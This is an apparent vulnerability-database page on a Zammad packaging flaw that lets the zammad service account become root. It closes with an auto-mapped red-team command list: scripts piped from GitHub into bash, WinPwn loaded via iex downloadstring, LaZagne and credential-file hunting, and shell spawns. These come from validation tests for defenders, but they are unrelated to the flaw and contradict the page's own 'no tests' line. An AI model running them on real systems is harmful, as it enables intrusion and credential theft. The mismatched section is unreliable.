CVE-2026-102490
Overview
The vulnerability is a privilege escalation flaw rooted in improper permission handling within Zammad's local user management. Specifically, the local 'zammad' user account is able to escalate privileges to root due to insufficient access control enforcement in the underlying privilege separation mechanism. This affects all versions of the Zammad application, including the latest alpha releases, impacting the system's user privilege boundary.
Vulnerability Description
Zammad packages built with packager.io (DEB and RPM) could have allowed a local attacker who already had file system write privileges as the unprivileged zammad service account to escalate to full root privileges on the host. Service processes began running as root and executed files that were owned and writable by the zammad account before dropping their identity to that account. An attacker holding that foothold could have escalated within seconds, because the affected services were restarted automatically whenever they stopped; no administrator interaction was required. Only installations from the DEB and RPM packages were affected — installations from source or the official container images were not. All released packaged versions were affected.
Impact
An attacker with access to the local 'zammad' user account can escalate privileges to root, gaining full administrative control over the affected system. This enables execution of arbitrary commands with root privileges, potentially leading to complete system compromise, data exposure, or disruption of services. The exploit requires only a low-privileged local account, which may be obtained through other means or insider access, significantly increasing the risk of lateral movement and full system takeover within the environment.
Solution
Users should apply the security updates provided by Zammad GmbH as detailed in the DIVD advisory DIVD-2026-00015. The vendor recommends upgrading to patched versions that correct the privilege escalation flaw, including all stable releases beyond 7.1.0 alpha. Detailed patch instructions and version-specific fixes are available at https://csirt.divd.nl/DIVD-2026-00015. No alternative workarounds are specified; prompt application of the vendor's updates is advised to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zammad | Zammad | All |
cpe:2.3:a:zammad:zammad:*:*:*:*:*:*:*:*
|
|
|
Zammad | Zammad | 7.1.0 |
cpe:2.3:a:zammad:zammad:7.1.0:alpha:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Sighting activity recorded
Sighting activity recorded
Active exploitation confirmed with 1040 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-122 | Privilege Abuse |
30%
|
High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
|
— | — | |
| CAPEC-58 | Restful Privilege Elevation |
30%
|
High | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-102490 |
| csirt.divd.nl |
GitHub CVE
third-party-advisory
|
https://csirt.divd.nl/DIVD-2026-00015 |
| csirt.divd.nl |
GitHub CVE
third-party-advisory
|
https://csirt.divd.nl/CVE-2026-102490 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102490 |
| zammad.com |
GitHub CVE
vendor-advisory
|
https://zammad.com/en/advisories/cve-2026-102489-cve-2026-102490 |
| community.zammad.org |
GitHub CVE
technical-description
|
https://community.zammad.org/t/take-care-local-privilege-escalation-cve-2026-102490-is-reported-as-being-actively-exploited/21297/2 |
| github.com |
GitHub CVE
vendor-advisory
technical-description
|
https://github.com/zammad/zammad/security/advisories/GHSA-p97w-927q-8vxq |